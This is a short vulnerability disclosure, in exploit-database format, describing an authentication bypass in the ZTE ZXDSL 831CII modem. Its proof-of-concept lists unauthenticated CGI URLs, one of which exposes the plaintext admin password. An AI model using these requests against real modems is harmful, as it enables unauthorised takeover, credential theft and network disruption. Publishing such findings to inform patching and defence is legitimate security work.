# Exploit Title: ZTE ZXDSL 831 Insecure Direct Object Reference
# Date: 11/3/2014
# Exploit Author: Paulos Yibelo
# Vendor Homepage: zte.com.cn
# Software Link: -
# Version: -
# Tested on: Windows 7
# CVE :-

ZTE ZXDSL 831CII suffers from an insecure direct object reference
vulnerability that allows for authentication bypass.

The modem usually serves html files & protects them with HTTP Basic
authentication. however, the cgi files, does not get this protection.
so simply requesting any cgi file (without no authentication) would
give a remote attacker full access to the modem and then can easily be
used to root the modem and disrupt network activities.

So requesting modem.ip.address would result HTTP Authentication
request, but simply requesting http://192.168.1.1/main.cgi will bypass
it.

PoC: http://192.168.1.1/adminpasswd.cgi (will result admin password
change page) - viewing the source will show the current password
(unencrypted)
http://192.168.1.1/userpasswd.cgi
http://192.168.1.1/upload.cgi
http://192.168.1.1/conprocess.cgi
http://192.168.1.1/connect.cgi
.
.